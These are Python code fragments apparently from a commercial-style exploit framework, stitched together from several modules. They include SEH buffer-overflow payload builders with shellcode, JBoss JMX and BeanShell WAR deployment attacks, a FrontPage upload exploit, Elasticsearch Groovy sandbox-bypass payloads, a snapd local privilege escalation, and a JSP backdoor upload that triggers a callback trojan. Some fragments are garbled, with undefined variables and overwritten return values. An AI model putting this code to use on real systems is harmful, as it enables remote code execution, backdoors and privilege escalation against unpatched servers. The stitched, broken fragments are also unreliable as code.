def login(self, username, password, db="master"): """ Login will return the results of the query packet - this is needed to capture the environment you have logged into """ lpacket = Login() lpacket.Username = username lpacket.Password = password if self.ClientName: lpacket.Hostname = self.ClientName else: lpacket.Hostname = exploitutils.randomstring(6) lpacket.Servername = str(self.hostname) lpacket.Database = db lpacket.Appname = lpacket.LibraryName = exploitutils.randomstring(6) try: self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) try: self.s.connect((self.hostname, self.port)) self.s.send(lpacket.raw()) except: print "Connect error" return None except socket.error, msg: raise MSSQLError, "MSSQL Error on socket: %s" % str(msg)
def __init__(self): tcpexploit.__init__(self) self.name = NAME self.host = '' self.hostname = '' self.port = 80 self.ssl = False self.base_url = "" self.authordll_path = "/_vti_bin/_vti_aut/author.dll" self.authordll_url = "" self.info_path = "/_vti_inf.html" self.respath = os.path.abspath( os.path.join(os.path.dirname(__file__), "Resources/")) self.tmppath = None self.mosdef_type = "UNIVERSAL" # | HTTP | DNS self.dns_domain = None self.http_ssl = False self.UA = None self.asp_filename = exploitutils.randomstring(8) + ".asp" self.aspx_filename = exploitutils.randomstring(8) + ".aspx" self.cs_filename = exploitutils.randomstring(8) + ".cs" self.filenames = [] self.auth_user = "" self.auth_password = "" self.auth_type = "BASIC" self.trigger_urls = [] self.working_trigger_url = "" self.fp_version = "4.0.2.2611" # and old version as default (FP 2002) self.success_regex = re.compile( "message=successfully put document [\'\"](.*)[\'\"] as [\'\"](.*)[\'\"]" ) self.fail_regex = re.compile("status=(\d+).*<li>msg=(.*)<li>", re.DOTALL) self.setInfo(DESCRIPTION)
def __init__(self): tcpexploit.__init__(self) self.name = NAME self.host = '' self.hostname = '' self.port = 8080 # this must be the jboss port used for all pages and not the console port (9990) self.path = '/console' self.ssl = False self.base_url = "" self.console_full_url = "" self.console_base_url = "" self.console_port = 8080 # really needed? self.respath = os.path.abspath( os.path.join(os.path.dirname(__file__), "Resources/")) self.tmppath = None self.mosdef_type = "UNIVERSAL" # | HTTP | DNS self.dns_domain = None self.http_ssl = False self.jsp_filename = exploitutils.randomstring(8) + ".jsp" self.servlet_name = exploitutils.randomstring(8) self.war_filename = "%s.war" % self.servlet_name self.basicauth_user = "" self.basicauth_password = "" self.deploy_wait = 10 # secs to wait for target to finish deploying war self.setInfo(DESCRIPTION)
def __init__(self): tcpexploit.__init__(self) self.name = NAME self.host = '' self.hostname = '' self.port = 8080 self.path = '/jmx-console' self.ssl = False self.base_url = "" self.htmladaptor_url = "" self.respath = os.path.abspath( os.path.join(os.path.dirname(__file__), "Resources/")) self.tmppath = None self.mosdef_type = "UNIVERSAL" # | HTTP | DNS self.dns_domain = None self.http_ssl = False self.web_server_port = 9090 self.UA = None self.use_bypass = False self.jsp_filename = exploitutils.randomstring(8) + ".jsp" self.servlet_name = exploitutils.randomstring(8) self.war_filename = "%s.war" % self.servlet_name self.basicauth_user = "" self.basicauth_password = "" self.deploy_wait = 10 # secs to wait for target to finish deploying war self.trigger_url = "" self.setInfo(DESCRIPTION)
def __init__(self): LinuxLocalExploit.__init__(self) self.name = NAME self.node = None self.client_sockname = '/tmp/%s;uid=0' % randomstring(8) self.server_sockname = '/run/snapd.socket' self.snapname = randomstring(8).lower() self.helpername = randomstring(8) self.snapdata = PAYLOAD['snapdata'] # squash filesystem self.offset = int( PAYLOAD['offset']) # offset to encode binary in squash filesystem self.sizedecode = int(PAYLOAD['sizedecode']) # size of decode binary self.remote_helper = '' self.remote_exp = self.client_sockname
def makeSploit(TARGET, PAYLOAD, PARGS): """ Construct the attack """ OFFSET = 515 BADCHARS = '\x00\x0a\x0d' stack = "\x90" * 12 stack += shellcode.generateshellcode(PAYLOAD, BADCHARS, str(PARGS)) stack += exploitutils.randomstring(OFFSET - len(stack)) stack += "\xeb\x06\x90\x90" # Next SEH stack += TARGET # SEH stack += ( "\xdb\xc5\xbd\xfc\x37\x63\x33\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x03" "\x31\x6f\x17\x83\xc7\x04\x03\x93\x24\x81\xc6\xea\x8f\x81\x2c\xec" "\x0f\xf5\xcb") junk = "".join( choice(ascii_uppercase) for i in range(off_set - len(egg + shellcode))) junk2 = "".join( choice(ascii_uppercase) for i in range(822 - len(egg + shellcode + junk + ret + egg_hunter))) SPLOITSTRING = ("HEAD /" + egg + shellcode + junk + ret + egg_hunter + " HTTP/1.0\r\n\r\n") SPLOITSTRING = "a0001 LIST }" + stack + "}\r\n" return SPLOITSTRING
def __init__(self): httpclientside.__init__(self) self.version = 0 self.name = NAME self.nops = "" self.filename = randomstring(8) + ".html" self.plugin_info = None # we want clientd to give us a plugin dict
def makeSploit(TARGET, PAYLOAD, ARGS): """ Construct the attack """ OFFSET = 230 BADCHARS = '\x00\x0a\x0d' stack = exploitutils.randomstring(OFFSET) stack += TARGET stack += exploitutils.randomstring(8) stack += "\x81\xc4\x54\xf2\xff\xff" # Move ESP to prevent shellcode overwriting itself # Generate and encode the shellcode SHELLCODE = shellcode(PAYLOAD, ARGS) stack += encoder.xor(SHELLCODE, BADCHARS) stack += exploitutils.randomstring(1000 - len(stack)) SPLOITSTRING = "USER " + stack + "\r\n" return SPLOITSTRING
def getargs(self): self.getarg("dns_domain") self.callback_host = self.getarg("callback_host") self.callback_port = self.getarg("callback_port") self.encrypted = self.getarg("encrypted") self.ssl = self.getarg("ssl") self.mosdef_type = self.argsDict.get("mosdef_type_value", self.mosdef_type).upper().strip() self.jsp_filename = self.getarg("jsp_filename") if self.jsp_filename.lower() in ("random", ""): self.jsp_filename = exploitutils.randomstring(8) if not self.jsp_filename.endswith( ".jsp"): # make sure we set the extension self.jsp_filename = "%s.jsp" % self.jsp_filename self.servlet_name = self.getarg("servlet_name") if self.servlet_name.lower() in ("random", ""): self.servlet_name = exploitutils.randomstring(8) self.war_filename = "%s.war" % self.servlet_name
def makeSploit( TARGET, PAYLOAD, ARGS ): badchars = "\x00\x0a\x0d\x2e\x5c" start = "[playlist]\r\nFile1=\\\\" shellcode = "\x90" * 856 sub_esp("\x81\xec\x56\x03\x00\x00\xff\xe4") stage2 = encoder.xor(sub_esp, badchars) stage1 = "\x83\xec\x58\x83\xec\x54\xff\xe4\x90\x90\x90" end = "\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n" SHELLCODE = encoder.xor((shellcode(PAYLOAD, ARGS))) junk = "\x41" * (854 - len(shellcode)) junk2 = "\x90" * (168 - len(stage2)) buffer = start + shellcode + junk + stage2 + junk2 + eip + stage1 + end buffer = start + shellcode + junk + stage2 + junk2 + eip + stage1 + end f = open("poc.pls","w") f.write(buffer) f.close print("\nFile Created\n") # Exploit variables OFFSET=768 BADCHARS='\x00\x0a\x0d\x20\x7b' # Generate and encode the shellcode #exploitutils.print_status("Generating shellcode") SHELLCODE = shellcode( PAYLOAD, ARGS ) ENCODED_SHELLCODE = encoder.xor( SHELLCODE, BADCHARS ) # Construct the attack #exploitutils.print_status( "Carving out the stack") stack= "\x90"*12 stack+= ENCODED_SHELLCODE stack+= exploitutils.randomstring( OFFSET - len(stack) ) stack+= "\xeb\x06\x90\x90" # Next SEH stack+= TARGET # SEH stack+=("\xdb\xc5\xbd\xfc\x37\x63\x33\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x03" "\x31\x6f\x17\x83\xc7\x04\x03\x93\x24\x81\xc6\xea\x8f\x81\x2c\xec" "\x0f\xf5\xcb") SPLOITSTRING = "a0001 LIST }" + stack + "}\r\n" return SPLOITSTRING
def make_beanshelldeployer_payload(self, bsh_payload): data = {} #data['action'] = 'invokeOpByName' data['action'] = 'invokeOp' data['name'] = 'jboss.deployer:service=BSHDeployer' # for JBoss 4.x #data['name'] = 'jboss.deployment:id=BSHScriptDeployer,type=Component' # JBoss 5.x #data['methodName'] = 'createScriptDeployment' data['methodIndex'] = '5' #data['argType'] = 'java.lang.String' data['arg0'] = bsh_payload #data['argType'] = 'java.lang.String' data['arg1'] = exploitutils.randomstring(8) + '.bsh' return data
def create_post_request(self): # we need to create a file of the same size as the file # in the squash filesystem to avoid break the format helperencode, arch = self.get_local_helper() helperencode = helperencode.ljust(self.sizedecode, '\x00').encode('base64') helperencode = helperencode.replace('\n', '') # create an unique snap to avoid being ignored squashfs = self.snapdata.replace('snapname', self.snapname) squashfs = squashfs.replace('trojname', self.helpername) # random trojan filename squashfs = squashfs.replace('ARCHX', arch) # replace original file in squash filesystem for our helper squashfs = squashfs[:self.offset] + helperencode + squashfs[ self.offset + len(helperencode):] boundary = randomstring(8).encode('hex') fname = randomstring(8) post_data = '\n--------------------------BOUNDARY\n' post_data += 'Content-Disposition: form-data; name="devmode"\n\n' post_data += 'true\n' post_data += '--------------------------BOUNDARY\n' post_data += 'Content-Disposition: form-data; name="snap"; filename="FNAME.snap"\n\n' post_data += squashfs + '\n' post_data += '--------------------------BOUNDARY--' post_data = post_data.replace('BOUNDARY', boundary) post_data = post_data.replace('FNAME', fname.lower()) http_post = 'POST /v2/snaps HTTP/1.1\r\n' http_post += 'Host: 127.0.0.1\r\n' http_post += 'Content-Type: multipart/form-data; boundary=------------------------%s\r\n' % boundary http_post += 'Expect: 100-continue\r\n' http_post += 'Content-Length: %d\r\n\r\n' % len(post_data) return http_post, post_data
def ensure_dynamic_scripting(self): """ For some reason it looks like Groovy dynamic scripts are enabled by default but it doesn't work correctly unless you force it to index some local script. By testing we found out that issuing a simple request we can make that happen. We run this just in case to make sure the target will in fact run scripts """ # the request would be something like: # curl -XPOST http://localhost:9200/_scripts/groovy/dummy -d '{ "script": "print \"dummy\"" }' scriptname = exploitutils.randomstring(8) ua = self.setup_UA("%s/_scripts/groovy/%s" % (self.base_url, scriptname)) #XXX: this could be probably improved by checking the response code or text response = ua.POST("", '{ "script": "print \\"%s\\"" }' % scriptname)
def update_war_filename(self): """ Every time we try a different method to deploy our WAR file, we change the WAR filename to avoid conflicts that might arise when uploading the same name more than once. """ # by the time this method is called, the WAR file must have been created old_war_filename = os.path.join(self.tmppath, self.war_filename) self.servlet_name = exploitutils.randomstring(8) self.war_filename = "%s.war" % self.servlet_name self.trigger_url = self.base_url + "/%s/%s" % (self.servlet_name, self.jsp_filename) new_war_filename = os.path.join(self.tmppath, self.war_filename) os.rename(old_war_filename, new_war_filename)
def pwn_it(self, current_vhost, base_uri): """ This function takes care of the trojan creation and pushes it on the server. It also triggers its execution and will return 1 if the payload successfully executed, 0 if not. """ ret = 0 normal_uri = base_uri + exploitutils.randomstring(8) + '.jsp' bogus_uri = normal_uri + '/' # First let's build the trojan if not self.build_trojan(): self.setInfo("%s - done (failed)" % NAME) return 0 # Then convert it into a suitable base64 payload f = open(self.tmppath + '/' + 'callback_windows.exe', 'rb') b64_payload = f.read().encode('base64') f.close() # Open the JSP template f = open(os.path.join(self.respath, "callback.jsp.template")) jsp_payload = f.read() f.close() # Replace the QUIRK keyword with the base64 encoded payload jsp_payload2 = jsp_payload.replace("QUIRK", b64_payload.replace('\n', '')) # Push the JSP (http_code, payload) = self.put_request(current_vhost, bogus_uri, jsp_payload2) logging.debug("PUT request returned error code: %s" % http_code) # We do skip HTTP code verification. What's important is the payload # returned when the GET is used. If the upload + execution is a success # a special pattern is returned. (http_code, payload) = self.get_request(current_vhost, normal_uri) if 'successfully triggered' in payload.read(): logging.info('Our payload got executed, wait for the shell!') ret = 1 else: logging.error('Execution of the payload failed') ret = 0 # Let's clean the JSP file no matter the outcode. (http_code, payload) = self.delete_request(current_vhost, bogus_uri) logging.debug("PUT request returned error code: %s" % http_code) return ret
def __init__(self): tcpexploit.__init__(self) self.name = NAME self.host = '' self.hostname = '' self.port = 9200 # default elasticsearch port self.path = '' self.ssl = False self.base_url = "" self.respath = os.path.abspath( os.path.join(os.path.dirname(__file__), "Resources/")) self.tmppath = None self.mosdef_type = "UNIVERSAL" # | HTTP | DNS self.dns_domain = None self.http_ssl = False self.trojan_filename = exploitutils.randomstring(8) self.remote_tmp_dir = "" self.remote_os_info = [ "linux", "X64" ] # [os_name, os_arch] - assuming linux x64 by default self.basicauth_user = "" self.basicauth_password = "" self.es_version = ['0', '0', '0'] self.bypasses_payloads = [ { "getClass": 'java.lang.Math.class.forName(\\"[CLASSNAME]\\")' }, # only works for elasticsearch 1.3.x before 1.3.8 and 1.4.x before 1.4.3 { "getClass": 'groovy.util.GroovyCollections.class.getClassLoader().loadClass(\\"[CLASSNAME]\\")' }, # works for all versions up to latest 1.5.2 if dynamic scripting is enabled { "getClass": 'java.lang.Math.class.getSuperclass().cast(java.lang.Class).getMethod(\\"forName\\", java.lang.String).invoke(null,\\"[CLASSNAME]\\")' }, # works for all versions up to latest 1.5.2 if dynamic scripting is enabled ] self.working_bypass = -1 self.getclass_regex = re.compile("\[GETCLASS_(.*)\]") self.setInfo(DESCRIPTION)
def makeSploit(TARGET, PAYLOAD, ARGS): # Exploit variables OFFSET = 768 BADCHARS = '\x00\x0a\x0d\x20\x7b' # Generate and encode the shellcode SHELLCODE = encoder.xor(shellcode(PAYLOAD, ARGS), BADCHARS) stack = "\x90" * 12 stack += SHELLCODE #stack+= encoder.xor(shellcode(PAYLOAD, ARGS), BADCHARS) stack += exploitutils.randomstring(OFFSET - len(stack)) stack += "\xeb\x06\x90\x90" # Next SEH stack += TARGET # SEH stack += ( "\xdb\xc5\xbd\xfc\x37\x63\x33\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x03" "\x31\x6f\x17\x83\xc7\x04\x03\x93\x24\x81\xc6\xea\x8f\x81\x2c\xec" "\x0f\xf5\xcb") SPLOITSTRING = "a0001 LIST }" + stack + "}\r\n" return SPLOITSTRING
def attack_uri(self, current_vhost, uri): """ Perform the attack for a given vhost and using a specific base URI """ if not self.is_directory(uri): return 0 normal_uri = uri + exploitutils.randomstring(8) + '.jsp' bogus_uri = normal_uri + '/' (http_code, payload) = self.put_request(current_vhost, bogus_uri, VULN_PATTERN) logging.debug("PUT request returned error code: %s" % http_code) (http_code, payload) = self.get_request(current_vhost, normal_uri) if VULN_PATTERN in payload.read(): logging.warning( 'The target is vulnerable, attempting to exploit it via %s' % uri) # First of all, let's delete this file. self.delete_request(current_vhost, bogus_uri) # Now let's prepare & push the backdoor return self.pwn_it(current_vhost, uri) else: return 0
def run_deploymentfilerepository_attack(self): # It seems that store method can upload text only, so we upload a custom # jsp with an encoded WAR that contains all the files needed. # It is almost the same approach used with the BSH Script self.log("[*] Running DeploymentFileRepository attack") f = open(os.path.join(self.tmppath, "deploy.jsp"), "rt") payload = f.read() f.close() filename = exploitutils.randomstring(8) data = self.make_deploymentfilerepository_payload( filename, ".jsp", payload) self.log("Uploading %s.jsp" % filename) response = self.do_service_request(data) #self.log("[run_deploymentfilerepository_attack] - Response received:\n%s" % response) # we use the uploaded jsp to deploy a new war, kind of what we do with BSH Script deploy_url = "%s/%s/%s.jsp" % (self.base_url, "web-console", filename) self.log("triggering new deploy requesting %s" % deploy_url) res = False try: ua = self.setup_UA(url=deploy_url) if self.use_bypass: self.log("Using HEAD bypass") response, response_code = ua.HEAD("", return_response_code=True) #XXX: this is just to make it work at the moment # The thing is that sometimes a Timeout exception is raised and spkproxy # silently ignores it (spkproxy.py:1026) and we get an empty response with -1 as code # But the request really works if you run it manually. # we force it to 200 so we try triggering. if response_code == -1: response_code = 200 else: self.log("Using normal GET request") response, response_code = ua.GET("", return_response_code=True) #XXX: this is just to make it work at the moment # The thing is that sometimes a Timeout exception is raised and spkproxy # silently ignores it (spkproxy.py:1026) and we get an empty response with -1 as code # But the request really works if you run it manually. # we force it to 200 so we try triggering. if response_code == -1: response_code = 200 ## we use urllib2 because we need the response code #req = HeadRequest(deploy_url) if self.use_bypass else urllib2.Request(deploy_url) #with no_timeout_socket(): # response = urllib2.urlopen(req, timeout=TIMEOUT) # content = response.read() if response_code == 200: #self.log("Response received:\n%s" % content) self.wait_for_deploy() res = self.trigger_callback() else: self.log("%s returned code %d" % (deploy_url, response_code)) except Exception: content = "" self.debuglog( "[run_deploymentfilerepository_attack] - Got an exception\n%s" % traceback.format_exc()) if not res: self.update_war_filename() return res